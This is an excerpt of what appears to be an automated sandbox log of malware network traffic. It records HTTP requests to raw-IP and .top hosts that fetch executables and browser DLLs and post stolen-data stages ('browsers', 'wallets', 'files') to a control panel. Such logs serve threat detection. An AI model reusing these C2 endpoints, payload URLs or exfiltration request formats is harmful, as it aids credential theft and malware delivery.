61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 35 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 2
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 36 36 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019669001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /TQIuuaqjNpwYjtUvFojm1734579850?argument=qVzcqauEInmPu2zy1734815809 HTTP/1.1Host: home.twentytk20ht.topAccept: */*
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 36 37 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019670001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 36 37 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019671001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 36 37 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019672001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDAFHDHCBGDGCBGCGIIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 39 42 37 35 41 45 30 31 32 34 46 34 30 33 33 30 36 30 30 37 31 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 2d 2d 0d 0a Data Ascii: ------HIDAFHDHCBGDGCBGCGIIContent-Disposition: form-data; name="hwid"19B75AE0124F4033060071------HIDAFHDHCBGDGCBGCGIIContent-Disposition: form-data; name="build"stok------HIDAFHDHCBGDGCBGCGII--
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEBAAFCAFCBKFHJJJKKFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 65 62 37 32 37 30 37 64 34 61 37 66 35 39 39 39 33 61 31 37 38 34 64 64 65 36 34 63 38 66 30 63 36 37 39 66 63 36 38 32 30 35 30 31 30 62 31 33 32 37 35 31 38 63 33 34 31 33 37 64 38 34 63 31 37 39 38 37 64 31 64 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 2d 2d 0d 0a Data Ascii: ------IEBAAFCAFCBKFHJJJKKFContent-Disposition: form-data; name="token"0eb72707d4a7f59993a1784dde64c8f0c679fc68205010b1327518c34137d84c17987d1d------IEBAAFCAFCBKFHJJJKKFContent-Disposition: form-data; name="message"browsers------IEBAAFCAFCBKFHJJJKKF--
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDAFHDHCBGDGCBGCGIIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 65 62 37 32 37 30 37 64 34 61 37 66 35 39 39 39 33 61 31 37 38 34 64 64 65 36 34 63 38 66 30 63 36 37 39 66 63 36 38 32 30 35 30 31 30 62 31 33 32 37 35 31 38 63 33 34 31 33 37 64 38 34 63 31 37 39 38 37 64 31 64 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 2d 2d 0d 0a Data Ascii: ------HIDAFHDHCBGDGCBGCGIIContent-Disposition: form-data; name="token"0eb72707d4a7f59993a1784dde64c8f0c679fc68205010b1327518c34137d84c17987d1d------HIDAFHDHCBGDGCBGCGIIContent-Disposition: form-data; name="message"plugins------HIDAFHDHCBGDGCBGCGII--
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKFIDHDGIEGCAKFIIJKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 65 62 37 32 37 30 37 64 34 61 37 66 35 39 39 39 33 61 31 37 38 34 64 64 65 36 34 63 38 66 30 63 36 37 39 66 63 36 38 32 30 35 30 31 30 62 31 33 32 37 35 31 38 63 33 34 31 33 37 64 38 34 63 31 37 39 38 37 64 31 64 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 2d 2d 0d 0a Data Ascii: ------DAKFIDHDGIEGCAKFIIJKContent-Disposition: form-data; name="token"0eb72707d4a7f59993a1784dde64c8f0c679fc68205010b1327518c34137d84c17987d1d------DAKFIDHDGIEGCAKFIIJKContent-Disposition: form-data; name="message"fplugins------DAKFIDHDGIEGCAKFIIJK--
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDGDAAKFHIEHIECAFBAAHost: 185.215.113.206Content-Length: 8523Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 36 37 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019673001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDHCBAEHJJJKKFIDGHJEHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIIIECBGDHJJKFIDAKJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 65 62 37 32 37 30 37 64 34 61 37 66 35 39 39 39 33 61 31 37 38 34 64 64 65 36 34 63 38 66 30 63 36 37 39 66 63 36 38 32 30 35 30 31 30 62 31 33 32 37 35 31 38 63 33 34 31 33 37 64 38 34 63 31 37 39 38 37 64 31 64 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 2d 2d 0d 0a Data Ascii: ------EGIIIECBGDHJJKFIDAKJContent-Disposition: form-data; name="token"0eb72707d4a7f59993a1784dde64c8f0c679fc68205010b1327518c34137d84c17987d1d------EGIIIECBGDHJJKFIDAKJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EGIIIECBGDHJJKFIDAKJContent-Disposition: form-data; name="file"------EGIIIECBGDHJJKFIDAKJ--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 36 37 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019674001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /files/geopoxid/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20ht.topAccept: */*Content-Length: 462Content-Type: multipart/form-data; boundary=------------------------pRlNtWBsRuZjLrYb6RpUTOData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 70 52 6c 4e 74 57 42 73 52 75 5a 6a 4c 72 59 62 36 52 70 55 54 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4a 61 77 69 73 75 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a d0 3a aa 91 e1 18 a8 82 42 14 ba 0f 2d ad a7 fd cd f4 a3 e0 61 df f7 ca c7 31 a5 bf e9 ee 85 43 ef 84 ad aa c4 92 01 5c 77 3c 23 46 ec f3 fc e7 4a d6 5f 18 06 51 d5 e0 41 9f 76 af 55 af f4 61 fb eb 27 be ac 27 9a 74 40 db a1 11 c2 e8 67 39 01 46 4e c9 5c b6 0f 0b 34 90 da 18 81 73 80 3e 78 a7 94 cd 60 11 87 f5 a1 55 1e 1f e4 68 7f b5 bf 1c 41 0e 54 c7 31 ea 04 46 87 7d fe 91 84 08 0a 45 1c 59 d6 61 6b da 06 48 a7 d5 55 97 ec 94 3a d9 4f 2e 8b 02 ed a8 73 75 0b af 0e b7 e7 23 c2 4f a9 6d 91 c6 b5 c5 e1 a2 8d 85 58 45 42 3c 34 7b 03 b1 b0 96 38 05 26 e6 45 00 b5 09 dc a7 b6 18 57 d1 9c 6a 61 d0 3c 7e 66 5c c6 21 59 89 82 bc 5c f1 5f 2d d2 46 48 31 d2 49 55 22 3d 3e bb f2 12 70 ec ff 0c b3 3f 9c 7b 81 5a 6a 6b 6d 30 53 58 53 87 9e 18 d9 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 70 52 6c 4e 74 57 42 73 52 75 5a 6a 4c 72 59 62 36 52 70 55 54 4f 2d 2d 0d 0a Data Ascii: --------------------------pRlNtWBsRuZjLrYb6RpUTOContent-Disposition: form-data; name="file"; filename="Jawisu.bin"Content-Type: application/octet-stream:B-a1C\w<#FJ_QAvUa''t@g9FN\4s>x`UhAT1F}EYakHU:O.su#OmXEB<4{8&EWja<~f\!Y\_-FH1IU"=>p?{Zjkm0SXS--------------------------pRlNtWBsRuZjLrYb6RpUTO--
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGDAKEHJDHIDHJJDAECHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 65 62 37 32 37 30 37 64 34 61 37 66 35 39 39 39 33 61 31 37 38 34 64 64 65 36 34 63 38 66 30 63 36 37 39 66 63 36 38 32 30 35 30 31 30 62 31 33 32 37 35 31 38 63 33 34 31 33 37 64 38 34 63 31 37 39 38 37 64 31 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 43 2d 2d 0d 0a Data Ascii: ------KEGDAKEHJDHIDHJJDAECContent-Disposition: form-data; name="token"0eb72707d4a7f59993a1784dde64c8f0c679fc68205010b1327518c34137d84c17987d1d------KEGDAKEHJDHIDHJJDAECContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KEGDAKEHJDHIDHJJDAECContent-Disposition: form-data; name="file"------KEGDAKEHJDHIDHJJDAEC--
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20ht.topAccept: */*Content-Length: 33185Content-Type: multipart/form-data; boundary=------------------------ci1ASTSkLc010whmSgp6nPData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 63 69 31 41 53 54 53 6b 4c 63 30 31 30 77 68 6d 53 67 70 36 6e 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 48 75 77 6f 67 75 76 69 67 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a a9 c6 c2 ac bc 9f 87 cf 5d 3f 84 4a 18 42 9c 4b 68 88 9d 0f 2a 17 41 2e 0b a5 a0 78 aa ee 0b 10 20 27 7a 2d 54 47 bd c5 7e f1 7c 9d fe d4 22 45 dd 9a 6d 18 44 9a 7c 80 43 d5 44 10 2e 00 63 fb 7b b7 41 25 cb ff a9 c8 23 4a 2f db a0 e3 03 21 da 12 b7 b3 65 03 19 08 46 70 e7 dd 32 17 a8 34 33 24 f8 54 a3 f1 30 3a 8c 80 a0 ec b3 72 18 f8 fc 2c 0c 3c 88 ce 28 a5 1d ea ad f8 00 3e 66 a4 d0 38 cf dc ef 7e 27 65 e1 be ed 30 f6 e9 41 7d af 63 76 07 15 ad 59 0b 31 76 64 8d 97 11 16 8c 12 0f e5 99 78 d5 68 aa e8 6e 44 23 2a 3c 64 c4 ef 39 22 c4 31 5b 06 65 3b c4 b0 e9 f6 12 35 88 47 3f 11 08 b1 99 8f 2b 22 67 16 d8 38 f0 d8 f1 4e 74 3c 5c 98 f3 1e 94 ba 5c 86 4e 24 bf 29 f3 0b 12 a2 48 7e bd 10 91 72 95 bc 45 25 3b b3 cd 83 ab 04 f0 b8 cb d8 3c d2 ba dd 52 29 f6 2f 25 5b 9d be a3 01 27 1f 3e 94 6e d2 b4 b4 fa 1a 64 d1 d2 b0 f4 83 ba 65 0b 83 f0 62 5e 3f 63 a9 64 0d 67 5f f8 5c 60 67 92 ef 9a 11 4d d8 57 5d 8f 39 e6 00 0b cd 6b 2c ba 10 c7 f8 4d f4 da a1 30 fc dd 7d e6 d8 83 32 12 7d 58 37 31 46 97 d5 18 53 29 42 fa 5b 78 04 a7 ba be 4b e4 2c 40 82 1e a0 45 4c b2 52 75 8d d7 16 dd 6f c0 41 16 92 53 6f 1b e3 94 4a ef 37 f5 55 db 27 22 4b a0 d3 e2 5b bc 93 43 9b fc ef 29 30 30 e9 05 f1 a6 a6 17 6e fa 79 cd a5 9b 7c 76 9e ee 53 0e 7f d7 ad 89 4e ab be 89 68 87 31 e5 0c a1 df 2c 93 59 d0 9d e2 86 c5 05 06 c2 14 7b 5d be 2a e8 40 bf 35 8d d9 f2 8d db bf 24 c2 a4 72 d5 d9 59 6b ab e3 0a b9 dc 0f 2b 5c bb d2 ef 32 8a 3d f7 f6 5f 08 8e 39 9a f8 77 68 75 ad ec 1e 2e 4d 05 00 59 23 07 0e 47 a4 de 41 af 6b 29 58 69 3e 21 33 c0 85 66 3e 23 cd 45 b0 82 10 6d 13 b5 44 3e 87 ea 2f 6f 75 ad cb 8e f3 48 f4 e0 cd 48 9d 49 d3 47 db 9d 6f 83 c5 6d 47 fd 34 3e 70 93 67 88 4e 4a b3 8d d6 15 6e 17 29 d2 ba 57 93 25 6d e9 93 a8 79 f7 21 f7 21 85 73 a0 1e 8f 36 11 80 8b 1c 95 ba 95 2b 86 2a 09 53 b8 8f 8d 88 7c 86 10 11 d5 e9 17 31 ae 18 e5 29 dc 22 c9 a6 27 2b a3 96 1c 7d 48 ad 56 bb cb bc 7a f7 ef 4a 75 93 0e e3 71 09 bc 3e 2e 8c f4 15 63 e1 f3 f0 c0 35 3e 85 4b cf 44 31 05 b0 cb a4 c6 b8 8c 7b ad c6 0a 81 cb f4 f1 9d dd 5d 20 2d c4 31 fa 9e 73 b3 e5 c0 71 8d b7 c9 67 18 b4 e4 49 ee 6c d7 37 19 f5 0c e6 53 19 db 50 44 37 5e ae 74 29 82 44 59 8d c0 bf ab 01 26 0f 24 56 9e 21 1b 00 d6 2b c6 cb 2a bb 05 1a 3f 3c 2d fb 20 91 9f cd 9e e9 3e 5c dd 05 50 d9 e8 e7 b0 6c d0 95 5f c8 5b ee 97 ac 4a 5f 7a 38 96 9a d7 8c a5
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 36 37 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019675001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /files/zhigarko/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 36 37 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019676001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /files/kardanvalov88/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBGHCGCAEBFIJKFIDBGHHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFCBFBGDBKJKECAAKKFHHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 65 62 37 32 37 30 37 64 34 61 37 66 35 39 39 39 33 61 31 37 38 34 64 64 65 36 34 63 38 66 30 63 36 37 39 66 63 36 38 32 30 35 30 31 30 62 31 33 32 37 35 31 38 63 33 34 31 33 37 64 38 34 63 31 37 39 38 37 64 31 64 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 2d 2d 0d 0a Data Ascii: ------CFCBFBGDBKJKECAAKKFHContent-Disposition: form-data; name="token"0eb72707d4a7f59993a1784dde64c8f0c679fc68205010b1327518c34137d84c17987d1d------CFCBFBGDBKJKECAAKKFHContent-Disposition: form-data; name="message"wallets------CFCBFBGDBKJKECAAKKFH--
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAKEBAECGCBAAAAAEBAHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 41 4b 45 42 41 45 43 47 43 42 41 41 41 41 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 65 62 37 32 37 30 37 64 34 61 37 66 35 39 39 39 33 61 31 37 38 34 64 64 65 36 34 63 38 66 30 63 36 37 39 66 63 36 38 32 30 35 30 31 30 62 31 33 32 37 35 31 38 63 33 34 31 33 37 64 38 34 63 31 37 39 38 37 64 31 64 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 45 42 41 45 43 47 43 42 41 41 41 41 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 45 42 41 45 43 47 43 42 41 41 41 41 41 45 42 41 2d 2d 0d 0a Data Ascii: ------EBAKEBAECGCBAAAAAEBAContent-Disposition: form-data; name="token"0eb72707d4a7f59993a1784dde64c8f0c679fc68205010b1327518c34137d84c17987d1d------EBAKEBAECGCBAAAAAEBAContent-Disposition: form-data; name="message"files------EBAKEBAECGCBAAAAAEBA--
